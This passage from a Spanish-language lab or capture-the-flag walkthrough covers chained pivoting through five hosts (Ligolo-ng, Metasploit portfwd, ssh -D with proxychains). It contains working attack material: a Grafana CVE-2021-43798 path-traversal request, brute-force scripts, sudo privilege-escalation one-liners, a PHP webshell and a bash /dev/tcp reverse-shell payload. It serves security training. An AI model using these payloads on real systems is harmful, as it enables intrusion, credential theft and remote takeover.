[+] 20.20.20.3:            - 20.20.20.3:80 - TCP OPEN
[+] 20.20.20.3:            - 20.20.20.3:3000 - TCP OPEN
[*] 20.20.20.3:            - Scanned 1 of 1 hosts (100% complete)

Cuatro puertos: 21 (FTP), 22 (SSH), 80 (HTTP) y 3000. Nótese que el módulo solo barre 1-10000 por defecto, así que este resultado no descarta puertos altos.

Para usar herramientas de fuera de Metasploit, portfwd expone cada puerto remoto en un puerto local del atacante:

sessions 2
portfwd add -l 2121 -p 21 -r 20.20.20.3
portfwd add -l 2222 -p 22 -r 20.20.20.3
portfwd add -l 8080 -p 80 -r 20.20.20.3
portfwd add -l 3030 -p 3000 -r 20.20.20.3
bg

portfwd crea cuatro reenvíos locales: 2121 a 21, 2222 a 22, 8080 a 80 y 3030 a 3000

msf6 auxiliary(scanner/portscan/tcp) > sessions 2
[*] Starting interaction with 2 ...

meterpreter > portfwd add -l 2121 -p 21 -r 20.20.20.3
[*] Forward TCP relay created: (local) :2121 -> (remote) 20.20.20.3:21
meterpreter > portfwd add -l 2222 -p 22 -r 20.20.20.3
[*] Forward TCP relay created: (local) :2222 -> (remote) 20.20.20.3:22
meterpreter > portfwd add -l 8080 -p 80 -r 20.20.20.3
[*] Forward TCP relay created: (local) :8080 -> (remote) 20.20.20.3:80
meterpreter > portfwd add -l 3030 -p 3000 -r 20.20.20.3
[*] Forward TCP relay created: (local) :3030 -> (remote) 20.20.20.3:3000
meterpreter > bg
[*] Backgrounding session 2 ...

A partir de aquí, ftp 127.0.0.1 2121 o http://127.0.0.1:8080 hablan con la máquina 2. El coste de esta vía es que hay que declarar puerto por puerto lo que se quiere alcanzar.

C. SSH dinámico y proxychains

La tercera opción no necesita subir nada a la víctima: basta con las credenciales SSH que ya tenemos. La opción -D de ssh abre un proxy SOCKS local cuyo tráfico sale por el host remoto:

ssh -D 1234 manchi@10.10.10.2

ssh -D 1234 abre la sesión de manchi y, con ella, un SOCKS local en el puerto 1234

manchi@10.10.10.2's password:
Linux 99d63de23ddd 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
...
Last login: Sun Apr 14 16:47:47 2024 from 172.17.0.1
manchi@99d63de23ddd:~$

Ese SOCKS hay que declararlo en la configuración de proxychains, al final del bloque [ProxyList]:

sudo nano /etc/proxychains4.conf

La configuración de proxychains4.conf con la línea socks4 127.0.0.1 1234 añadida al final del bloque ProxyList

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1234

Y aquí aparece la primera limitación de esta vía. nmap a través de un SOCKS no puede hacer un escaneo SYN (necesita paquetes crudos, y un SOCKS solo transporta conexiones TCP completas). Aunque se fuerce -sT (conexión completa), el resultado engaña:

nmap -sT -Pn -p 21,22,80,3000 20.20.20.3

nmap -sT contra 20.20.20.3 devuelve los cuatro puertos como filtered pese a estar abiertos

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:15 CET
Nmap scan report for 20.20.20.3
Host is up.

PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   filtered ssh
80/tcp   filtered http
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 3.05 seconds

Los cuatro salen filtered y los cuatro están abiertos. Este comando se lanzó ya sabiendo los puertos buenos precisamente para demostrar el falso negativo. Cuando pasa esto, la comprobación fiable es un nc -vz (conexión y cierre) por proxychains:

proxychains nc -vz 20.20.20.3 22
proxychains nc -vz 20.20.20.3 23

proxychains nc -vz devuelve OK para el puerto 22 y socket error or timeout para el 23

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1111  ...  20.20.20.3:22  ...  OK
20.20.20.3 [20.20.20.3] 22 (ssh) open : Operation now in progress

[proxychains] Strict chain  ...  127.0.0.1:1111  ...  20.20.20.3:23  <--socket error or timeout!
20.20.20.3 [20.20.20.3] 23 (telnet) : Connection refused

La diferencia es inequívoca: OK frente a socket error or timeout!. (En esta captura la cadena sale por 127.0.0.1:1111, otro SOCKS levantado en la misma sesión de trabajo; el mecanismo es idéntico, solo cambia el puerto del proxy.)

Eso se automatiza con un bucle sobre los 65535 puertos que interpreta la salida de nc:

#!/bin/bash

IP="20.20.20.3"

for i in $(seq 1 65535); do
    proxychains nc -vz $IP $i > result 2>&1
    open_port=$(cat result | tail -n 2 | head -n 1 | awk '{print $9}')

    if [ "$open_port" == "OK" ]; then

        echo "El puerto $i esta abierto"

    fi
done

rm -r result
./discoveryPorts.sh

El script discoveryPorts.sh reporta abiertos los puertos 21, 22, 80 y 3000

El puerto 21 esta abierto
El puerto 22 esta abierto
El puerto 80 esta abierto
El puerto 3000 esta abierto

Mismo resultado que el módulo de Metasploit, esta vez sobre los 65535 puertos. El precio es la lentitud: una conexión TCP completa por puerto y a través del túnel.

En resumen: Ligolo es transparente y admite ICMP, pero exige subir un binario; Metasploit no necesita binario extra si ya hay Meterpreter, pero obliga a portfwd puerto a puerto y a usar sus módulos; ssh -D + proxychains no sube nada, pero solo transporta TCP y rompe el escaneo de nmap.

Máquina 2: 20.20.20.3

La web a través del SOCKS

Para navegar con el navegador por el túnel, FoxyProxy permite declarar el SOCKS como perfil y activarlo con un clic:

La configuración de FoxyProxy con un perfil llamado maquina 20.20.20.3 de tipo SOCKS5 apuntando a 127.0.0.1:1234 y Proxy DNS activado

Title:    maquina 20.20.20.3
Type:     SOCKS5
Hostname: 127.0.0.1
Port:     1234
Proxy DNS: [activado]

El Proxy DNS activado importa: sin él, el navegador resolvería los nombres por nuestro DNS local en vez de por el del otro lado del túnel.

El navegador, ya a través del proxy, carga la página por defecto de Apache2 Debian en 20.20.20.3

Apache2 Debian Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems.

Otra página por defecto: hay que fuzzear otra vez.

Descubrimiento de contenido a través del proxy

gobuster acepta el SOCKS directamente con --proxy, sin necesidad de proxychains:

gobuster dir -u http://20.20.20.3 -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --proxy socks5://127.0.0.1:1234 -x html,xml,php,bak,py,js,txt

gobuster a través del proxy socks5 encuentra index.html y maintenance.html en 20.20.20.3

Gobuster v3.6

[+] Url:                     http://20.20.20.3
[+] Threads:                 200
[+] Wordlist:                /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   socks5://127.0.0.1:1234
[+] Extensions:              html,xml,php,bak,py,js,txt

/index.html           (Status: 200) [Size: 10701]
/maintenance.html     (Status: 200) [Size: 63]
/server-status        (Status: 403) [Size: 275]
Progress: 1764480 / 1764488 (100.00%)
Finished

Lo mismo con DirBuster, que no tiene opción de proxy pero sí se puede envolver con proxychains:

proxychains dirbuster

El comando proxychains dirbuster lanza la interfaz gráfica a través del túnel

[se abre la ventana de OWASP DirBuster]

DirBuster a través de proxychains encuentra index.html y maintenance.html en 20.20.20.3

http://20.20.20.3:80/     Dirs: 2  Files: 2

Type   Found               Response   Size
File   /index.html         200        11324
Dir    /                   200        11322
Dir    /icons/             403        445
Dir    /icons/small/       403        445
File   /maintenance.html   200        291

Total Requests: 525909/525921
DirBuster Stopped

maintenance.html pesa 63 bytes según gobuster: es una sola línea. Y esa línea lo es todo:

La página maintenance.html contiene el texto Website under maintenance, access is in /tmp/pass.txt

Website under maintenance, access is in /tmp/pass.txt

Una ruta local del servidor, no una URL. Para leerla necesitamos o bien un servicio que sirva ficheros, o bien una lectura arbitraria.

FTP anónimo: lo que sí y lo que no

El 21 estaba abierto, así que probamos el acceso anónimo:

proxychains ftp 20.20.20.3
ls
get /tmp/pass.txt

El FTP acepta el login anonymous/anonymous, lista el directorio mantenimiento y falla al pedir /tmp/pass.txt con 550

[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:21  ...  OK
Connected to 20.20.20.3.
220 (vsFTPd 3.0.3)
Name (20.20.20.3:krmena): anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||50869|)
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:50869  ...  OK
150 Here comes the directory listing.
drwxrwxrwx    1 0        0            4096 Mar 29  2024 mantenimiento
226 Directory send OK.
ftp> cat /tmp/pass.txt
?Invalid command.
ftp> get /tmp/pass.txt
local: /tmp/pass.txt remote: /tmp/pass.txt
229 Entering Extended Passive Mode (|||24574|)
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:24574  ...  OK
550 Failed to open file.

Tres cosas de esta captura, todas útiles:

  1. El servidor es vsFTPd 3.0.3 y acepta anonymous/anonymous.
  2. Hay un directorio mantenimiento con permisos drwxrwxrwx.
  3. get /tmp/pass.txt falla con 550 Failed to open file. El FTP anónimo está enjaulado (chroot) en su propio directorio, así que /tmp sencillamente no existe para él. Este es el callejón sin salida que obliga a buscar otra forma de leer ese fichero.

El segundo intento también falla, por un motivo distinto:

get mantenimiento

get mantenimiento devuelve también 550 Failed to open file

ftp> get mantenimiento
local: mantenimiento remote: mantenimiento
229 Entering Extended Passive Mode (|||9107|)
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:9107  ...  OK
550 Failed to open file.

mantenimiento es un directorio, y get solo descarga ficheros: hay que entrar con cd primero. Corregido eso, dentro está la base de contraseñas:

ftp 20.20.20.3      # anonymous -> cd mantenimiento -> get database.kdbx

FTP anónimo: descarga de database.kdbx desde el directorio mantenimiento

Name (20.20.20.3:krmena): anonymous
230 Login successful.
ftp> cd mantenimiento
250 Directory successfully changed.
ftp> get database.kdbx
local: database.kdbx remote: database.kdbx
150 Opening BINARY mode data connection for database.kdbx (2021 bytes).
226 Transfer complete.
2021 bytes received in 00:00 (1.65 MiB/s)

$ keepass2john database.kdbx
! database.kdbx : File version '40000' is currently not supported!

Antes de rendirse con el fichero conviene mirarlo en crudo, por si la contraseña estuviese ahí en claro:

strings database.kdbx

strings sobre database.kdbx solo devuelve fragmentos binarios sin sentido, confirmando que está cifrado

~ )wd6
$UUID
j)wy
=LDz
<c5_
g.>[
;j6D
c6K=
TXDDD
...

Solo ruido y un $UUID: el contenido está cifrado, como debe ser. Y keepass2john tampoco puede extraer un hash crackeable porque la base usa el formato KDBX 4 (File version '40000'), que esa versión de la herramienta no soporta. Conclusión: necesitamos la contraseña maestra literal, y esa es la que anuncia maintenance.html en /tmp/pass.txt.

Grafana en el 3000

El puerto 3000 es un Grafana:

La pantalla de login de Grafana en 20.20.20.3:3000

Welcome to Grafana

Email or username: [                ]
Password:          [                ]
[ Log in ]
Forgot your password?

Hay dos caminos desde aquí, y merece la pena ver los dos.

Camino 1: credenciales débiles. hydra no dio buen resultado contra el formulario (Grafana responde siempre con un 200 y un JSON, lo que complica el patrón de fallo), así que se escribió un script que ataca directamente la API de login e interpreta el campo message de la respuesta JSON:

url="http://20.20.20.3:3000/login"
user="admin"
pass_file="/home/krmena/rockyoudir/rockyou.txt"

while IFS= read -r pass; do

    data_req=$(jq -n --arg user "$user" --arg pass "$pass" '{user: $user, password: $pass}')

    response=$(proxychains curl -s -X POST "$url" -H "Content-Type: application/json" -d "$data_req")
    valid_password=$(echo "$response" | jq -r '.message // empty')

    if [ "$valid_password" != "Invalid username or password" ] && [ -n "$valid_password" ]; then
        echo "La contraseña válida para el usuario $user es $pass"
        break
    fi
done < "$pass_file"
./bruteForce.sh

El script bruteForce.sh, con cada petición pasando por proxychains, encuentra que la contraseña de admin es admin

[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:3000  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:3000  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:3000  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  20.20.20.3:3000  ...  OK
La contraseña válida para el usuario admin es admin

admin:admin, la credencial por defecto de Grafana, que nadie cambió. Cada línea de Strict chain es una petición saliendo por el túnel, lo que también explica por qué este ataque es tan lento.

Grafana ya autenticado, mostrando la pantalla Home con los paneles de bienvenida

Welcome to Grafana

Basic
The steps below will guide you to quickly finish setting up your Grafana installation.

TUTORIAL / DATA SOURCE AND DASHBOARDS: Grafana fundamentals
DATA SOURCES: Add your first data source
DASHBOARDS: Create your first dashboard

Camino 2: la CVE. El panel de login muestra la versión, y es v8.3.0, afectada por CVE-2021-43798: un Path Traversal previo a autenticación en la ruta de plugins que permite leer ficheros arbitrarios del servidor. Este camino es mejor que el anterior porque no depende de una contraseña débil y porque va directo a lo que queremos:

Login de Grafana mostrando la versión v8.3.0, vulnerable a CVE-2021-43798

searchsploit identifica el exploit de Path Traversal para Grafana 8.x

curl --path-as-is 'http://20.20.20.3:3000/public/plugins/alertlist/../../../../../../../../../../../../../tmp/pass.txt'

El --path-as-is es imprescindible: sin él, curl normaliza los ../ antes de enviar la petición y el traversal nunca llega al servidor.

Ese pass.txt es la contraseña maestra del KeePass. Al abrir la base de datos obtenemos las credenciales de freddy y entramos por SSH:

sshpass -p 't9sH76gpQ82UFeZ3GXZS' ssh -o StrictHostKeyChecking=no freddy@20.20.20.3

Acceso por SSH como freddy con las credenciales recuperadas del KeePass

Linux 999f70999756 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC ... x86_64
...
freddy@999f70999756:~$ whoami
freddy

Escalada de privilegios: script Python escribible

sudo -l muestra que freddy puede ejecutar un script de mantenimiento en Python como root. La clave es que tenemos permiso de escritura sobre /opt/maintenance.py (abuso de script escribible por sudo): lo modificamos para que otorgue SUID a bash y lo lanzamos.

echo 'import os
os.system("chmod u+s /bin/bash")' > /opt/maintenance.py
sudo /usr/bin/python3 /opt/maintenance.py
bash -p

Inyección en /opt/maintenance.py, SUID sobre bash y shell de root

freddy@999f70999756:~$ sudo -l
User freddy may run the following commands on 999f70999756:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
freddy@999f70999756:~$ ls -l /opt/maintenance.py
-rw-r--r-- 1 freddy freddy 35 May 19 19:17 /opt/maintenance.py
freddy@999f70999756:~$ ls -l /bin/bash && bash -p
-rwsr-xr-x 1 root root 1277936 Nov 26  2023 /bin/bash
bash-5.2# whoami
root

El bash -p es necesario: sin él, bash detecta que el UID efectivo no coincide con el real y renuncia a los privilegios al arrancar.

Pivoting: 20.20.20.3 → 30.30.30.3

Segundo salto. Aquí aparece el detalle interesante del pivoting encadenado: la nueva víctima no ve a nuestro atacante, así que el agente debe conectarse al primer host comprometido, que reenvía la conexión al proxy con un listener_add (double pivot):

# en la consola de Ligolo, sobre la sesión del host 1
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1111
# subimos y arrancamos el nuevo agente en el host 2, apuntando al host 1
./agent -connect 20.20.20.2:1234 -ignore-cert

Nótese la dirección: el agente del host 2 apunta a 20.20.20.2, que es la pata interna del host 1 (la que aparecía en el esquema de red inicial), no a nuestra IP.

Creamos una segunda interfaz TUN y enrutamos la red siguiente:

sudo ip tuntap add user $(whoami) mode tun ligolo1
sudo ip link set ligolo1 up
sudo ip route add 30.30.30.0/24 dev ligolo1

start --tun ligolo1 y ya tenemos ojos en 30.30.30.0/24.

Máquina 3: 30.30.30.3

Reconocimiento y fuga de usuario

Escaneamos a través de la red enrutada y con gobuster encontramos secret.php:

nmap -p- -sS --min-rate 5000 -n -Pn --open 30.30.30.3
gobuster dir -u http://30.30.30.3/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html

gobuster localiza secret.php en 30.30.30.3

index.html            (Status: 200) [Size: 10701]
secret.php            (Status: 200) [Size: 927]

secret.php filtra un nombre de usuario válido (mario), un caso de information disclosure. Con el usuario confirmado, hydra tarda mucho menos:

hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://30.30.30.3 -t 64 -I

hydra revienta el SSH de mario con la credencial chocolate

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344414 login tries (l:1/p:14344414), ~896526 tries per task
[DATA] attacking ssh://30.30.30.3:22/
[22][ssh] host: 30.30.30.3   login: mario   password: chocolate
1 of 1 target successfully completed, 1 valid password found

Entramos como mario:chocolate. Compárese con la máquina 1: allí eran 28,7 millones de intentos con dos usuarios, aquí 14,3 millones con uno. Conocer el usuario divide el trabajo a la mitad, y por eso la fuga de secret.php importa.

Escalada de privilegios: sudo vim

sudo -l sobre mario permite ejecutar vim como root. Como vim puede invocar una shell, es otra entrada de GTFOBins:

sudo /usr/bin/vim -c ':!/bin/sh'

sudo -l muestra (ALL) /usr/bin/vim; el escape a shell devuelve root

mario@7beccbea3902:~$ sudo -l
User mario may run the following commands on 7beccbea3902:
    (ALL) /usr/bin/vim
mario@7beccbea3902:~$ sudo /usr/bin/vim -c ':!/bin/sh'
# whoami
root

El -c ':!/bin/sh' ejecuta un comando de vim nada más abrirlo, así que ni siquiera hace falta interactuar con el editor.

Pivoting: 30.30.30.3 → 40.40.40.3

Repetimos la operativa (nuevo agente reenviado por los saltos anteriores, ligolo2, ruta 40.40.40.0/24).

Máquina 4: 40.40.40.3

Reconocimiento

Solo hay un Apache 2.4.52 con el título "Upload here your file":

nmap -p- -sS --min-rate 5000 -n -Pn --open 40.40.40.3
nmap -p80 -sCV -n 40.40.40.3

Subida arbitraria de archivos (webshell)

El formulario de subida no valida la extensión, así que subimos directamente una webshell PHP:

echo '<?php system($_GET["cmd"]); ?>' > exploit.php

Subida de la webshell PHP a través del formulario sin validación

http://40.40.40.3/upload.php

            Upload File
   [ Browse... ]  exploit.php
        [ Upload File ]

gobuster confirma que los ficheros aterrizan en /uploads/, con lo que tenemos RCE. Preparamos un listener en Ligolo para recibir la reverse shell enrutada y la disparamos con una segunda webshell:

# consola de Ligolo
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# listener en la atacante: penelope 4444
curl http://40.40.40.3/uploads/revshell.php

Reverse shell recibida: acceso como www-data en 40.40.40.3

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from b6f04568c983~127.0.0.1-Linux-x86_64  Assigned SessionID <1>
[+] Interacting with session [1], Shell Type: Raw, Menu key: Ctrl-C
www-data@b6f04568c983:/$

Ese listener_add es el mecanismo inverso al del agente: hace que el propio host comprometido escuche en un puerto y reenvíe lo que reciba a nuestro listener local. Sin él, la víctima no tendría ninguna ruta de vuelta hasta nosotros.

Escalada de privilegios: sudo env

sudo -l permite ejecutar /usr/bin/env como root. env puede lanzar cualquier binario, así que le pedimos una shell (GTFOBins):

sudo /usr/bin/env /bin/sh

Pivoting: 40.40.40.3 → 50.50.50.3

Último salto. Nuevo agente, listener_add en cadena, interfaz ligolo3 y ruta 50.50.50.0/24.

Máquina 5: 50.50.50.3

Reconocimiento

El objetivo final expone 22 (SSH) y 80 (HTTP), una supuesta "Academia de Inglés" sobre Apache 2.4.57:

nmap -p- -sS --min-rate 5000 -n -Pn --open 50.50.50.3
nmap -p22,80 -sCV -n 50.50.50.3

nmap del objetivo final 50.50.50.3: SSH y HTTP

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

RCE por parámetro oculto

gobuster con extensión php encuentra un shell.php que devuelve 500: le falta el parámetro correcto.

shell.php responde 500 hasta que se le pasa el parámetro adecuado

Un 500 en un .php es una pista, no un error: significa que el script se ejecuta y revienta por algo (típicamente, usar una variable que no existe). Fuzzeamos el nombre del parámetro con wfuzz filtrando por respuestas vacías, la misma técnica que en la máquina 1; el válido es literalmente parameter. Confirmamos la ejecución y lanzamos una reverse shell hacia el listener enrutado por Ligolo:

gobuster dir -u http://50.50.50.3 -w /usr/share/wordlists/dirb/common.txt -x php
wfuzz -u 'http://50.50.50.3/shell.php?FUZZ=id' -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl=0
curl 'http://50.50.50.3/shell.php?parameter=cat+/etc/passwd'
# listener en Ligolo -> nc -nlvp 5555
curl 'http://50.50.50.3/shell.php?parameter=bash%20-c%20%22bash%20-i%20%3E%26%2Fdev%2Ftcp%2F50.50.50.2%2F5555%200%3E%261%22'

La reverse shell apunta a 50.50.50.2, la pata interna de la máquina 4, no a nuestra IP: es el único destino que esta víctima sabe alcanzar. Caemos como www-data.

Escalada de privilegios: fuga de credenciales

Una enumeración manual de directorios temporales revela un /tmp/.secret.txt oculto con la contraseña de root en claro. Un su root cierra la cadena:

Lectura de /tmp/.secret.txt con la contraseña de root y su root para el compromiso final

www-data@304153de52d5:/tmp$ cat .secret.txt
contraseñaderoot123
www-data@304153de52d5:/tmp$ su root
root@304153de52d5:/tmp# whoami
root

El punto inicial del nombre lo oculta de un ls normal: por eso la enumeración de /tmp hay que hacerla siempre con ls -la.

Con esto controlamos los cinco segmentos de la infraestructura.

Cadena de ataque

[ atacante ]
     | LFI (?archivo=) + hydra + sudo php
     v
10.10.10.2 --ligolo / msf autoroute / ssh -D--> 20.20.20.0/24
                                  | FTP+KeePass + Grafana (admin:admin ó CVE-2021-43798) + sudo python
                                  v
                             20.20.20.3 --ligolo1--> 30.30.30.0/24
                                                          | info-disclosure + hydra + sudo vim
                                                          v
                                                    30.30.30.3 --ligolo2--> 40.40.40.0/24
                                                                                | file upload + sudo env
                                                                                v
                                                                          40.40.40.3 --ligolo3--> 50.50.50.0/24
                                                                                                      | RCE param + /tmp/.secret.txt
                                                                                                      v
                                                                                                50.50.50.3   root

Lecciones aprendidas

  • El pivoting es enrutamiento, no magia. Con Ligolo-ng cada host comprometido aporta una interfaz TUN nueva; la clave del double/triple pivot es el listener_add, que hace que un host anterior reenvíe la conexión del agente hasta el proxy cuando la nueva víctima no ve al atacante.
  • La herramienta de pivoting cambia lo que puedes usar. Un SOCKS de ssh -D no transporta ICMP ni paquetes crudos, así que nmap -sT devuelve filtered sobre puertos abiertos; Metasploit enruta pero obliga a portfwd puerto a puerto; Ligolo es transparente pero exige subir un binario. Saber cuál falla y por qué evita horas de diagnóstico equivocado.
  • Un LFI vale usuarios, no solo ficheros. Leer /etc/passwd convierte una fuerza bruta ciega en una dirigida: menos usuarios, mucho menos tiempo.
  • Los errores de la aplicación son enumeración gratis. El "Error de Sistema: ($_GET['archivo']);" al pie de la tienda regalaba el nombre del parámetro vulnerable antes de lanzar una sola petición de fuzzing.
  • Un 550 no siempre significa lo mismo. El FTP anónimo negó /tmp/pass.txt por estar enjaulado y negó mantenimiento por ser un directorio: dos causas distintas tras el mismo código de error, y solo una de ellas era un muro real.
  • sudo -l primero, siempre. Cuatro de las cinco escaladas salieron de un binario permitido por sudoers (php, vim, env) o de un script escribible; todas caben en GTFOBins.
  • Las versiones importan. Un Grafana v8.3.0 es directamente CVE-2021-43798; identificar la versión exacta ahorra todo lo demás. Y por si acaso, admin:admin seguía funcionando.
  • Los secretos acaban en /tmp. Contraseñas en pass.txt, .secret.txt o una base KeePass mal guardada: la enumeración manual de rutas obvias sigue cerrando cajas.
Cheatsheet de comandos 25 comandos

Repaso rápido